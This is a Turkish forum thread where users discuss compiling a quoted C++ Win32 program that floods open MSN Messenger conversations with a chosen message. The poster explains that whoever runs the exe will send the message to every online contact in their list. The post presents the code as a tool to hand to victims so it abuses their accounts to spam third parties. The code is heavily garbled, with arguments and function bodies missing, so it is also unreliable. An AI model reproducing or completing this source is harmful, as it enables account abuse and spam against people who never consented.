http://rapidshare.com/files/3774410/devcpp4991setup. exe.htmlbu işini grür

C++ ğrenmeye yeni başlıorum güzel rnek ama beni çok kastırdı :D "Geri geri çıkarken, biiip biiip sesi çıkaran araçların seslerini zil sesi yapmayı sevenlerin buluşma noktası" diye bi grup açsam katılır mısın lan feysbuk"ta?

derleyip çalıştitabilen varmi arkadaslar ben derlerken su hatayi aliyorum bu satirda 47. Satır : SendMessage(hWnd, WM_SETTEXT, NULL, pcText); PHP

vs de derliycezde nasıl derliycez :| kelimeler albayım bazı anlamlara gelmiyor.

saol reis güzel bi rnek :) PHP

upter up:| not defterinde mi derliycez lan :D birirnek filan versin :D kelimeler albayım bazı anlamlara gelmiyor.

konu alıntı madein :::: Kod :::: #include <stdio. h>#include <string. h>#include <windows. h>#include <winsock. h>#pragma comment(lib, "wsock32. lib")#pragma warning (disable:4786)#define WIDTH 340#define HEIGHT 330#define bListConvos 1#define bButtonStart 2#define bButtonRefresh 3#define bTextSpam 4#define bLabelTimes 5#define bTextTimes 6#define bLabelError 7#define BUFFERNAME 160#define BUFFERMED 512#define COPYBUFFERMED 1024#define BUFFERLARGE 1024HFONT Font1 = CreateFont(16,0,0,0,0, FALSE, FALSE, FALSE, ANSI_CHARSET,0,0,0,0,"Arial");HWND hListConvos, hButtonStart, hButtonRefresh, hTextSpam, hLabelTimes, hTextTimes, hLabelErrors;LRESULT CALLBACK WndProcedure ;int setClipboard {int iRet = 0;iRet = OpenClipboard ;if EmptyClipboard ;char cText = malloc(sizeof COPYBUFFERMED);strncpy ;SetClipboardData ;free ;CloseClipboard ;return 1;}void setText void getText INT WINAPI WinMain {MSG msgMessage;HWND hWnd;WNDCLASSEX wndClass;wndClass. cbSize = sizeof ;wndClass. style = CS_HREDRAW | CS_VREDRAW;wndClass. lpfnWndProc = WndProcedure;wndClass. cbClsExtra = 0;wndClass. cbWndExtra = 0;wndClass. hIcon = LoadIcon(hInstance, MAKEINTRESOURCE(101));wndClass. hCursor = LoadCursor ;wndClass. hbrBackground = GetStockObject ;wndClass. lpszMenuName = NULL;wndClass. lpszClassName = "Basic";wndClass. hInstance = hInstance;wndClass. hIconSm = LoadIcon(hInstance, MAKEINTRESOURCE(101));if((RegisterClassEx NULL) if((hWnd = CreateWindow("Basic","MSN", WS_SYSMENU, CW_USEDEFAULT, CW_USEDEFAULT, WIDTH+10, HEIGHT, NULL, NULL, hInstance, NULL)) NULL) ShowWindow ;UpdateWindow ;while(GetMessage(&msgMessage, NULL, 0, 0)) return msgMessage. wParam;}BOOL CALLBACK spreadMSN {char cClassName , cWindowName ;HWND hwConvo;if(! GetClassName if(! strcmp {if((GetWindowText {if(strstr }}return TRUE;}void spamConvos {unsigned short x = 0;//Spam loopHWND hwConvo = FindWindow ;if for(x=0; x<iTimes; x++) Sleep(100);return;}void startSpam {char cWindowName , cSpamText , char cSpamTimes ;unsigned short int i=0; //Convo'sunsigned short int iItem=0, iItems=0, iSpamTimes=0; //Current item, Total items, loop amountgetText ;if(setClipboard {iItems = SendMessage(hListConvos, LB_GETCOUNT,0,0);for(i=0; i<iItems; i++){int iSelected = SendMessage(hListConvos, LB_GETSEL, i,0);if }}else }void addConvos {unsigned short int iItem=0, iItems=0;iItems = SendMessage(hListConvos, LB_GETCOUNT,0,0);iItem = iItems + 1;do while ;EnumWindows(spreadMSN,0);}LRESULT CALLBACK WndProcedure {switch {case WM_DESTROY:PostQuitMessage ;break;case WM_CREATE: //x y width heighthListConvos = CreateWindowEx(0,"ListBox",0, LBS_STANDARD | WS_CHILD | WS_VISIBLE |LBS_EXTENDEDSEL |LBS_SORT | WS_VSCROLL | WS_TABSTOP,0, 0, WIDTH, 150, hWnd, bListConvos,0, NULL);hButtonStart = CreateWindowEx(0,"Button","Spam", WS_VISIBLE | WS_CHILD,0, 150, 70, 18, hWnd, bButtonStart,0, NULL);hButtonRefresh = CreateWindowEx(0,"Button","Refresh convos", WS_VISIBLE | WS_CHILD,230, 150, 110, 18, hWnd, bButtonRefresh,0, NULL);hTextSpam = CreateWindowEx(0,"Edit", NULL, WS_VISIBLE | WS_CHILD | WS_BORDER | ES_MULTILINE,0, 170, WIDTH, 100, hWnd, bTextSpam,0, NULL);hTextTimes = CreateWindowEx(0,"Edit", NULL, WS_CHILD | WS_VISIBLE | WS_BORDER | ES_LEFT | ES_MULTILINE | ES_NOHIDESEL,80, 150, 30, 18, hWnd, hTextTimes,0, NULL);hLabelTimes = CreateWindowEx(0,"Edit", NULL, WS_CHILD | WS_VISIBLE | WS_BORDER | ES_LEFT | ES_MULTILINE | ES_NOHIDESEL,120, 150, 70, 18, hWnd,0,0, NULL);hLabelErrors = CreateWindowEx(0,"Edit", NULL, WS_CHILD | WS_VISIBLE | WS_BORDER | ES_LEFT | ES_MULTILINE | ES_NOHIDESEL,0, 280, WIDTH, 20, hWnd,0,0, NULL);SendMessage(hLabelErrors, EM_SETREADONLY, TRUE, TRUE);SendMessage(hLabelTimes, EM_SETREADONLY, TRUE, TRUE);setText ;setText ;setText(hTextTimes,"50");EnumWindows(spreadMSN,0);case WM_COMMAND:switch(LOWORD break;default:return DefWindowProc ;}return 0;}C++ de derledikten sonra setText ;enter message here yerine msj yazın exeyi yiyen kişinin msn listesindeki bütün online lara msjını gider kolay gele Sanki tüm hayatım boyunca, yanlış melodiyle dans etmiş gibiyim...